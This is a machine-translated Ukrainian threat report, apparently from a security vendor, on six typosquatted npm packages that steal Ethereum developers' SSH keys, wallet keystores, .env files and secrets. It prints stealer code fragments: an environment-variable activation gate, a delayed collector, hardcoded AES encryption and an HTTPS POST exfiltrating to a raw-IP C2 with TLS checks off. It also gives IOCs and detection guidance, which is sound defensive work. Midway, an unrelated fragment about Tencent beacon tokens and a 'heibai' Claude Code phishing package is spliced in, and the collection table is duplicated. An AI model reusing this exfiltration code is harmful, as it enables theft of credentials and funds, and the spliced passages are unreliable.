TL, д-р
6 травня 2026 року один видавець npm, namikazesarada010206, розповсюдив шість шкідливих пакетів, спрямованих на екосистему розробників Ethereum, Solidity та DeFi.
Пакети, viem-core, viem-utils-core, hardhat-core-utils, evm-utils, foundry-utils та web3-utils-core, використовували правдоподібні назви, розроблені так, щоб виглядати як допоміжні бібліотеки для популярних інструментів Web3.
Усі шість пакетів містили однакову telemetry.js файл. Файл був ідентичним за байтами в усьому кластері, з використанням SHA-256:
Шкідливе програмне забезпечення не запускається під час встановлення. Немає preinstall or postinstall гачок. Натомість він активується, коли пакет імпортується через require().
Ця деталь має значення.
Імплант чекає, поки розробник фактично використає пакет. Потім він перевіряє, чи схожа робоча станція на справжнє середовище розробки Ethereum/Solidity. Він шукає ключі Alchemy або Infura, закриті ключі, мнемоніку, ключі розгортання або локальний каталог Foundry.
Якщо хост збігається, викрадач збирає закриті ключі SSH, сховища ключів гаманців Foundry / Geth / Brownie, .env* файли та конфіденційні змінні середовища. Він шифрує пакет за допомогою AES-256-GCM, використовуючи жорстко закодовану парольну фразу, та виводить його на необроблену кінцеву точку IPv4 C2 з вимкненою перевіркою TLS.
Система раннього попередження про шкідливе програмне забезпечення (MEW) від Xygeni підтвердила всі шість пакетів як шкідливі. Звіт про видалення реєстру npm очікує на розгляд.
Кластер: шість пакетів, один видавець
Обліковий запис видавця namikazesarada010206 було пов’язано з неперевіреною адресою Gmail namikazesarada010206@gmail.com.
Кампанія з'явилася як одноденний випуск публікацій 6 травня 2026 року. Усі шість пакетів були версійно оформлені як 1.0.0, не мав нульових залежностей від середовища виконання та постачав лише три файли:
package.json index.js telemetry.js Вони також оголосили той самий репозиторій вихідного коду:
https://github.com/harunosakura030303-maker/evmchain-config Перші три пакети були виявлені сканерами MEW під час першої публікації. Решта три були примусово позначені після перевірки аналітиками профілю npm видавця. Після того, як вони були ідентичними по байтах telemetry.js було підтверджено по всьому кластеру, їх було закрито як шкідливі за узгодженістю.
| пакет | версія | Опубліковано npm | Квиток MEW | Вердикт |
|---|---|---|---|---|
| viemi-core | 1.0.0 | 2026-05-06 01:38:44Z | # 51049 | Зловмисний |
| viem-utils-core | 1.0.0 | 2026-05-06 | # 51050 | Зловмисний |
| hardhat-core-utils | 1.0.0 | 2026-05-06 | # 51051 | Зловмисний |
| evm-utils | 1.0.0 | 2026-05-06 | # 51069 | Зловмисний, за послідовністю |
| foundry-utils | 1.0.0 | 2026-05-06 | # 51071 | Зловмисний, за послідовністю |
| web3-utils-core | 1.0.0 | 2026-05-06 | # 51070 | Зловмисний, за послідовністю |
Стратегія найменування проста, але ефективна.
Ці пакети не імітують точні назви основних розробників. Натомість вони використовують правдоподібні суфікси «утиліт», такі як -core, -utils та -utils-coreЧерез це вони виглядають як супутні бібліотеки, які розробник може очікувати побачити поруч із інструментами Web3.
| Шкідливий пакет | Законна ціль |
|---|---|
| viemi-core | viem, популярний клієнт TypeScript для Ethereum |
| viem-utils-core | В'єм |
| hardhat-core-utils | hardhat, основне середовище розробки Solidity |
| evm-utils | Загальний простір імен інструментів EVM |
| foundry-utils | ливарне виробництво, набір інструментів Solidity |
| web3-utils-core | web3-utils, помічники Web3.js |
Це схема «додаткового пакету»: не «Я — справжній пакет», а «Я виглядаю як розумний помічник навколо справжнього пакету».
Для розробників DeFi, які швидко діють, цього достатньо, щоб створити ризик.
Що відбувається під час імпорту пакета
Ланцюг атак невеликий, навмисний та зосереджений на середовищах крипторозробки.
Немає гачка для встановлення. Натомість кожен пакет містить index.js який експортує функціональність заглушки, а потім завантажує модуль шкідливої телеметрії.
require('./telemetry').init(); Це означає, що шкідливе програмне забезпечення активується під час першого імпорту.
Це корисно з операційної точки зору для зловмисника. Багато сканерів та пісочниць зосереджені на поведінці під час встановлення. Цей пакет чекає, поки його фактично не використає розробник, скрипт збірки, набір тестів або шлях виконання.
Шлюз активації: спрацьовує лише на реальних робочих станціях розробника Web3
Найважливішою частиною імплантату є активаційний ворота.
Шкідливе програмне забезпечення перевіряє змінні середовища, які зазвичай зустрічаються на машинах розробників Ethereum / Solidity:
const indicators = [ process.env.ALCHEMY_API_KEY, process.env.INFURA_KEY, process.env.PRIVATE_KEY, process.env.MNEMONIC, process.env.DEPLOYER_KEY, ].filter(Boolean); Також перевіряється, чи встановлено Foundry:
fs.existsSync(path.join(os.homedir(), '.foundry')) Якщо жодна з умов не є істинною, функція повертає значення і нічого не робить.
Це робить пакет тихішим у типових середовищах аналізу. Пісочниця без Foundry, ключів Alchemy, ключів Infura, закритих ключів або мнемоніки може мати нешкідливий вигляд.
На відповідному хості шкідливе програмне забезпечення чекає від 60 до 90 секунд перед збиранням даних:
setTimeout(() => { try { _collect(); } catch {} }, 60000 + Math.random() * 30000).unref(); Затримка зменшує очевидну кореляцію між імпортом та вивезенням. .unref() виклик також дозволяє хост-процесу завершити роботу нормально, якщо пакет був імпортований у короткочасному скрипті.
Це не галаслива поведінка типу «зламай та захопи». Це цілеспрямований викрадач, розроблений для уникнення запуску, якщо середовище розробника не варте крадіжки.
Що збирає злодій
Після проходження етапу активації шкідливе програмне забезпечення починає збирати дані з джерел, які мають найбільше значення для розробки Web3: закритих ключів, сховищ ключів гаманців, облікових даних для розгортання, хмарних секретів, токенів npm та локальної конфігурації проекту.
| Source | Що збирається |
|---|---|
| process.env | Будь-яка змінна, що відповідає /TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i |
| ~/.ssh/* | Файли, що містять PRIVATE KEY або BEGIN OPENSSH, включаючи повний вміст файлу |
| ~/.foundry/keystore/* | Файли сховища ключів гаманця Foundry |
| ~/.ethereum/сховище ключів/* | Файли сховища ключів гаманця Geth |
| ~/.brownie/accounts/* | Файли сховища ключів гаманця Brownie |
| ${cwd}/.env | Повний вміст файлу |
| ${cwd}/.env.local | Повний вміст файлу |
| ${cwd}/.env.production | Повний вміст файлу |
| ${cwd}/.env.розробка | Повний вміст файлу |
| ім'я_хоста_os.() | Метадані хоста |
| crypto.randomUUID() | Ідентифікатор жертви/сеансу |
| Date.now() | Мітка часу збору |
otheve.beacon.qq.com oth.str.beacon.qq.com h.trace.qq.com Токени ATTA:
ATTA_ID 00400014144 ATTA_TOKEN 6478159937 Нам не вдалося підтвердити, чи була телеметрія власною аналітикою оператора, чи окремо монетизованим каналом. Токени ATTA однакові в обох досліджуваних нами зразках.
Кластер B: heibai
claude.hk Фішинг OAuth + Викрадення ANTHROPIC_BASE_URL
Зразок від 1 квітня — це більш груба, рання частина кампанії.
heibai:2.1.88-claude.hk-4 була опублікована wuguoqiangvip28, обліковий запис, створений 7 червня 2025 року. Пакет явно версіонував себе проти законної 2.1.88 Антропний реліз.
Він не турбується про CA-cert MITM. Натомість він бреше користувачеві про кінцеву точку OAuth.
Шкідливі доповнення до витоку вихідного коду Claude Code включають:
| Source | Що збирається |
|---|---|
| process.env | Будь-яка змінна, що відповідає /TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i |
| ~/.ssh/* | Файли, що містять PRIVATE KEY або BEGIN OPENSSH, включаючи повний вміст файлу |
| ~/.foundry/keystore/* | Файли сховища ключів гаманця Foundry |
| ~/.ethereum/сховище ключів/* | Файли сховища ключів гаманця Geth |
| ~/.brownie/accounts/* | Файли сховища ключів гаманця Brownie |
| ${cwd}/.env | Повний вміст файлу |
| ${cwd}/.env.local | Повний вміст файлу |
| ${cwd}/.env.production | Повний вміст файлу |
| ${cwd}/.env.розробка | Повний вміст файлу |
| ім'я_хоста_os.() | Метадані хоста |
| crypto.randomUUID() | Ідентифікатор жертви/сеансу |
| Date.now() | Мітка часу збору |
Список цілей є дуже специфічним. Це не звичайна крадіжка браузера чи загальне вилучення облікових даних. Він спрямований на розробників, які створюють, тестують, розгортають або керують додатками Ethereum.
Включення сховищ ключів Foundry, Geth та Brownie є особливо важливим. Ці файли можуть надавати прямий доступ до гаманців або ідентифікаторів розгортання. Якщо зловмисник зможе поєднати їх із паролями, мнемонікою або секретами середовища, він зможе переміщувати кошти, видавати себе за розгортачів або скомпрометувати операції смарт-контрактів.
Шифрування перед вилученням
Шкідливе програмне забезпечення шифрує зібрані дані перед їх надсиланням.
const key = crypto.createHash('sha256').update(K).digest(); const iv = crypto.randomBytes(12); const cipher = crypto.createCipheriv('aes-256-gcm', key, iv); Жорстко закодований пароль:
a]3Fk9$mP2xL7vQ8nR4wJ6yB0tH5cE1d Остаточне корисне навантаження обгорнуто як JSON:
{"v":2,"iv":"<base64>","d":"<base64-ciphertext>","t":"<base64-gcm-tag>"} Шифрування саме по собі не робить шкідливе програмне забезпечення більш просунутим. Однак воно ускладнює перевірку мережі. Захисник, який спостерігає за виходом, побачить корисне навантаження JSON, але не викрадені ключі, файли гаманця чи .env вміст без жорстко закодованого пароля та логіки розшифрування.
Ексфільтрація до необробленого IPv4 C2
Шлях вилучення жорстко закодований:
const req = https.request({ hostname: '76.13.37.80', port: 8443, path: '/api/v1/telemetry', method: 'POST', headers: { 'Content-Type': 'application/json', ... }, rejectUnauthorized: false, timeout: 8000, }, () => {}); Шкідливе програмне забезпечення надсилає дані до:
https://76.13.37.80:8443/api/v1/telemetry Дві деталі виділяються.
По-перше, C2 — це необроблена IPv4-адреса, а не домен. Це усуває необхідність реєстрації домену та дозволяє уникнути деяких виявлень на основі домену.
По-друге, перевірка TLS вимикається за допомогою:
rejectUnauthorized: false Це дозволяє шкідливому програмному забезпеченню приймати будь-які сертифікати, включаючи самопідписані сертифікати. Іншими словами, зловмисник отримує зашифрований транспорт без потреби в дійсному публічному сертифікаті.
Немає логіки повторних спроб і резервного хоста. Помилки непомітно проковтуються. Це забезпечує беззвучність пакета, якщо C2 не в мережі або недоступний.
Чому ця кампанія важлива
Більшість шкідливих npm-пакетів, спрямованих на розробників, переслідують широкі облікові дані: npm-токени, ключі AWS, токени GitHub або .npmrc файли.
Ця кампанія звужує цільову аудиторію.
Він шукає ознаки того, що машина належить розробнику Ethereum або Solidity. Потім він витягує саме ті ресурси, які мають значення в цьому середовищі: сховища ключів гаманця, закриті ключі, мнемоніку, ключі розгортання, .env файли та SSH-ключі.
Це робить кампанію небезпечнішою для Web3-команд, ніж звичайний npm-стелер.
Успішне зараження може призвести до:
- Гаманці для розгортання
- Ключі адміністратора смарт-контракту
- Ключі постачальника RPC
- Облікові дані для розгортання в хмарі
- токени публікації npm
- SSH-доступ до інфраструктури розробника або збірки
- Секрети проекту зберігаються в
.envфайли - Сховища ключів гаманця для Foundry, Geth або Brownie
Назви пакетів також свідчать про явну соціальну інженерію. Вони націлені на екосистему розробників Web3 через знайомі назви інструментів: viem, hardhat, foundry, evm та web3.
Актору не потрібно компрометувати реальні проекти. Йому потрібен лише розробник, який встановить те, що виглядає як розумний супутній пакет.
Індикатори компрометації та виявлення
| Пакети та видавець | |
|---|---|
| Поле | значення |
| видавець npm | наміказесарада010206 |
| Електронна адреса видавця | namikazesarada010206@gmail.com |
| Email verified | Немає |
| SCM перевірено | Немає |
| Рейтинг репутації | 1.0 |
| Пакети | viem-core, viem-utils-core, hardhat-core-utils, evm-utils, Foundry-utils, web3-utils-core |
| версії | Всі 1.0.0 |
| Репозиторій вихідного коду | https://github.com/harunosakura030303-maker/evmchain-config |
| Підтверджено шкідливе | Усі шість пакетів |
| Мережа | |
|---|---|
| тип | значення |
| Кінцева точка C2 | https://76.13.37.80:8443/api/v1/telemetry |
| C2 IP | 76.13.37.80 |
| Порт C2 | 8443/tcp |
| Поведінка TLS | rejectUnauthorized: false |
| Схема корисного навантаження | {"v":2,"iv": ,"д": ,"т": } |
| Файли та хеші | |
|---|---|
| тип | значення |
| telemetry.js SHA-256 | 71426e93cb6143052d5aeeca920850f8a0343c95bc65aab9a15145848cc5bff1 |
| Макет упаковки | package.json, index.js, telemetry.js |
| Кількість файлів | 3 |
| Приблизний загальний розмір | 3.4 KB |
Сигнали активації
Шкідливе програмне забезпечення перевіряє такі змінні середовища:
ALCHEMY_API_KEY INFURA_KEY PRIVATE_KEY MNEMONIC DEPLOYER_KEY Також перевіряється:
~/.foundry/ Цільові шляхи хоста
~/.ssh/* ~/.foundry/keystores/* ~/.ethereum/keystore/* ~/.brownie/accounts/* ${cwd}/.env ${cwd}/.env.local ${cwd}/.env.production ${cwd}/.env.development Колекція регулярних виразів
/TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i Примітки щодо виявлення
Кілька правил охоплюють цю кампанію без потреби повного поведінкового аналізу.
Спочатку проскануйте файли блокування на наявність шести назв шкідливих пакетів:
viem-core viem-utils-core hardhat-core-utils evm-utils foundry-utils web3-utils-core Будь-який матч у package-lock.json, yarn.lock, pnpm-lock.yamlабо node_modules До історії слід ставитися як до серйозної події.
По-друге, слідкуйте за процесами Node.js, які зчитують шляхи сховища ключів гаманця:
~/.foundry/keystores/ ~/.ethereum/keystore/ ~/.brownie/accounts/ Така поведінка рідко є законною для пакета, імпортованого як допоміжна залежність. Вона особливо підозріла, коли після неї відбувається вихідна мережева активність.
По-третє, блокуйте або сповіщайте про HTTPS-з’єднання, щоб:
76.13.37.80:8443 Особливо, коли шлях запиту такий:
/api/v1/telemetry По-четверте, знайдіть npm-пакети, які поєднують ці характеристики:
- Новий або низькорепутаційний видавець
- Непідтверджений обліковий запис Gmail
- Назва пакета, суміжного з Web3
- Немає змістовної історії репозиторію
- Компонування крихітної упаковки
index.jsщо завантажує телеметричний або допоміжний файл- Немає залежностей від середовища виконання
- Чутлива колекція змінних середовища
- Доступ до сховища ключів гаманця
Цей шаблон корисніший, ніж один IOC, оскільки наступний пакет може змінити IP-адресу, але зберегти ту саму логіку таргетування.
Контрольний список реагування на компроміс
Якщо розробник використовував один із шести пакетів, і його середовище відповідало шлюзу активації, робочу станцію слід вважати скомпрометованою.
Це включає машини з встановленим Foundry, ключами Alchemy або Infura в середовищі, закритими ключами, мнемонікою або ключами розгортання.
Рекомендована відповідь:
- Відключіть хост від мережі.
- Заповідник
node_modules, файли блокування, історія оболонки та відповідні журнали для експертизи. - Змінюйте кожну пару ключів SSH під
~/.ssh/. - Змінюйте ключі гаманця для кожного сховища ключів у розділі
~/.foundry,~/.ethereumта~/.brownie. - Переведіть кошти на нові гаманці.
- Поверніть кожен секрет, що зберігається в
.env*файли в репозиторіях, з якими працював розробник. - Змінювати секрети середовища відповідно до регулярного виразу колекції, включаючи ключі AWS, токени npm, токени розгортання, ключі API, приватні ключі, початкові значення та мнемоніку.
- Аудит активності хмари, npm, GitHub, постачальника RPC та блокчейну з моменту першої інсталяції пакета.
- Перед повторним використанням перестворіть образ робочої станції.
Що захисники повинні взяти з собою
Ця кампанія показує, як типосквотинг npm розвивається навколо екосистем розробників високої цінності.
Актору не потрібна була персистентність. Їм не потрібне було обфускація. Їм навіть не потрібне було виконання під час встановлення.
Натомість вони покладалися на три речі:
- Правдоподібні назви пакетів Web3
- Активація лише на реальних машинах для крипторозробки
- Пряма крадіжка файлів і секретів, які є найважливішими для розробників Ethereum
Через це кампанію легко пропустити під час широкого сканування та зробити її небезпечною, коли вона потрапляє в потрібне середовище.
Для Web3-команд урок очевидний: розглядайте імена залежностей як частину вашої моделі загроз. Пакет, який виглядає як нешкідливий помічник, все одно може стати найкоротшим шляхом до компрометації гаманця.
Повідомлено до реєстру npm. Ми оновимо цю публікацію, коли обліковий запис видавця та пакети будуть видалені.




